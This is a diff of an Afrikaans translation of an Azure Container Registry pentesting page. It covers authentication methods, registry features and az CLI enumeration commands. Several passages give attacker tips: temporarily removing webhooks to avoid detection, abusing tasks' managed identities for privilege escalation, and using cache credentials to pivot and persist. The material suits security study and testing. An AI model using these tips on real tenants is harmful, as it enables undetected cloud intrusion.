- **With a token**: Dit is moontlik om 'n **token** met 'n **specific `scope map`** (permissions) te skep om toegang tot die registry te kry. Dan is dit moontlik om die naam van die token as username en enige van die gegenereerde passwords te gebruik om by die registry te authenticate met `docker login -u <registry-name> -p <password> <registry-url>` - **With a token**: Dit is moontlik om 'n **token** met 'n **specific `scope map`** (permissions) te skep om toegang tot die registry te verkry. Daarna is dit moontlik om die token se naam as username en enige van die gegenereerde passwords te gebruik om aan die registry te authenticate met `docker login -u <registry-name> -p <password> <registry-url>`
- **With a Service Principal**: Dit is moontlik om 'n **service principal** te skep en 'n role soos **`AcrPull`** toe te ken om images te pull. Dan sal dit moontlik wees om by die registry aan te meld deur die SP appId as username en 'n gegenereerde secret as password te gebruik. - **With a Service Principal**: Dit is moontlik om 'n **service principal** te skep en 'n rol soos **`AcrPull`** toe te ken om images te pull. Daarna sal dit moontlik wees om **aan die registry te login** deur die SP appId as username en 'n gegenereerde secret as password te gebruik.
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry: Voorbeeldscript uit die [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) om 'n SP met access oor 'n registry te genereer:
```bash ```bash
#!/bin/bash #!/bin/bash
ACR_NAME=$containerRegistry ACR_NAME=$containerRegistry
@@ -49,41 +49,41 @@ USER_NAME=$(az ad sp list --display-name $SERVICE_PRINCIPAL_NAME --query "[].app
echo "Service principal ID: $USER_NAME" echo "Service principal ID: $USER_NAME"
echo "Service principal password: $PASSWORD" echo "Service principal password: $PASSWORD"
``` ```
### Encryption ### Enkripsie
Slegs die **Premium SKU** ondersteun **encryption at rest** vir die images en ander artifacts. Slegs die **Premium SKU** ondersteun **enkripsie in rus** vir die images en ander artifacts.
### Networking ### Netwerk
Slegs die **Premium SKU** ondersteun **private endpoints**. Die ander ondersteun net **public access**. n Public endpoint het die formaat `<registry-name>.azurecr.io` en n private endpoint het die formaat `<registry-name>.privatelink.azurecr.io`. Om hierdie rede moet die naam van die registry uniek wees oor alle Azure. Slegs die **Premium SKU** ondersteun **private endpoints**. Die ander ondersteun slegs **publieke toegang**. n Publieke endpoint het die formaat `<registry-name>.azurecr.io`, en n private endpoint het die formaat `<registry-name>.privatelink.azurecr.io`. Om hierdie rede moet die naam van die registry uniek wees binne die hele Azure.
### Microsoft Defender for Cloud ### Microsoft Defender for Cloud
Dit laat jou toe om die images in die registry te **scan** vir **vulnerabilities**. Dit laat jou toe om die **images** in die registry vir **kwesbaarhede** te **scan**.
### Soft-delete ### Soft-delete
Die **soft-delete**-funksie laat jou toe om n **deleted registry** binne die aangeduide aantal dae te **recover**. Hierdie funksie is **disabled by default**. Die **soft-delete**-funksie laat jou toe om n **verwyderde registry te herstel** binne die aangeduide aantal dae. Hierdie funksie is **by verstek gedeaktiveer**.
### Webhooks ### Webhooks
Dit is moontlik om **webhooks** binne registries te **create**. In hierdie webhook moet die URL gespesifiseer word waarheen n **request** gestuur sal word wanneer n push of delete action uitgevoer word. Verder kan Webhooks n scope aandui om die repositories (images) te spesifiseer wat geraak sal word. Byvoorbeeld, 'foo:\*' beteken events onder repository 'foo'. Dit is moontlik om **webhooks te skep** binne registries. In hierdie webhook moet jy die URL spesifiseer waarheen n **request gestuur sal word wanneer n push- of delete-aksie uitgevoer word**. Webhooks kan ook n scope aandui om te spesifiseer watter repositories (images) geraak sal word. Byvoorbeeld, `foo:*` beteken events onder repository `foo`.
Van n attacker se perspektief is dit interessant om dit **before performing any action** in die registry te check, en dit tydelik te remove indien nodig, om detection te vermy. Vanuit n attacker se perspektief is dit interessant om dit **te kontroleer voordat enige aksie** in die registry uitgevoer word, en dit tydelik te verwyder indien nodig, om te voorkom dat jy opgespoor word.
### Connected registries ### Gekoppelde registries
Dit laat basies toe om die images van een registry na n ander een te **mirror**, gewoonlik on-premises geleë. Dit laat jou basies toe om die **images van een registry na n ander te mirror**, wat gewoonlik on-premises geleë is.
Dit het 2 modes: **ReadOnly** en **ReadWrite**. In die eerste een word die images net van die source registry af **pulled**, en in die tweede een kan images ook na die source registry toe **pushed** word. Dit het 2 modes: **ReadOnly** en **ReadWrite**. In die eerste een word die images slegs **van die source registry gepull**, en in die tweede een kan images ook **na die source registry gepush** word.
Om clients toe te laat om toegang tot die registry vanaf Azure te kry, word n **token** gegenereer wanneer die conected registry gebruik word. Wanneer clients vanaf Azure toegang tot die registry moet verkry, word n **token** gegenereer wanneer die connected registry gebruik word.
### Runs & Tasks ### Runs & Tasks
Runs & Tasks laat jou toe om in Azure container-related actions uit te voer wat jy tipies plaaslik of in n CI/CD pipeline moes doen. Byvoorbeeld, jy kan **build, push, and run images in the registry**. Runs & Tasks laat jou toe om container-verwante aksies in Azure uit te voer wat jy tipies plaaslik of in n CI/CD-pipeline moes uitvoer. Jy kan byvoorbeeld **images in die registry build, push en run**.
Die maklikste manier om n container te build en run is deur n gewone Run te gebruik: Die maklikste manier om n container te build en run, is om n gewone Run te gebruik:
```bash ```bash
# Build # Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run # Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
``` ```
Egter, dit sal runs aktiveer wat nie baie interessant is vanuit n attacker se perspektief nie, omdat hulle nie enige managed identity aan hulle gekoppel het nie. However, dit sal uitvoerings aktiveer wat nie vanuit n aanvaller se perspektief baie interessant is nie, omdat hulle geen managed identity daaraan gekoppel het nie.
Egter, **tasks** kan n **system and user managed identity** aan hulle gekoppel . Hierdie tasks is die nuttige een om **privileges te escalate** in die container. In die privileges escalation-afdeling is dit moontlik om te sien hoe om tasks te gebruik om privileges te escalate. **tasks** kan egter n **system and user managed identity** hê wat daaraan gekoppel is. Hierdie tasks is diegene wat nuttig is om **escalate privileges** in die container. In die privilege escalation-afdeling is dit moontlik om te sien hoe om tasks te gebruik om privileges te escaleer.
### Cache ### Cache
Die cache-funksie laat toe om **images van n external repository af te download** en die nuwe weergawes in die registry te stoor. Dit vereis dat daar sekere **credentials configured** is deur die credentials uit n Azure Vault te kies. Die Cache-funksie laat toe om **images van n eksterne repository af te laai** en die nuwe weergawes in die registry te stoor. Dit vereis dat sommige **credentials configured** is deur die credentials uit n Azure Vault te kies.
Dit is baie interessant vanuit n attacker se perspektief omdat dit toelaat om te **pivot na n external platform** as die attacker genoeg permissions het om toegang tot die credentials te kry, **download images from an external repository** en die configuring van n cache kan ook gebruik word as **persistence mechanism**. Dit is baie interessant vanuit n aanvaller se perspektief, omdat dit toelaat om **na n eksterne platform te pivot** indien die aanvaller genoeg permissions het om toegang tot die credentials te verkry. **Images van n eksterne repository aflaai** en n cache configureer, kan ook as n **persistence mechanism** gebruik word.
## Enumeration ## Enumeration
> [!WARNING] > [!WARNING]
> Dit is baie belangrik dat selfs al bevat die registry name sommige uppercase letters, jy slegs lowercase letters in die url moet gebruik om toegang daartoe te kry. > Dit is baie belangrik dat jy, selfs al bevat die registry-naam sommige hoofletters, slegs kleinletters in die URL gebruik om daarby toegang te verkry.
```bash ```bash
# List of all the registries # List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url... # Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -143,7 +143,7 @@ az acr cache list --registry <registry-name>
# Get cache details # Get cache details
az acr cache show --name <cache-name> --registry <registry-name> az acr cache show --name <cache-name> --registry <registry-name>
``` ```
## Ongeloofde toegang ## Ongemagtigde Toegang
{{#ref}} {{#ref}}
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md ../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
@@ -155,6 +155,10 @@ az acr cache show --name <cache-name> --registry <registry-name>
../az-privilege-escalation/az-container-registry-privesc.md ../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}} {{#endref}}
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Verwysings ## Verwysings
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)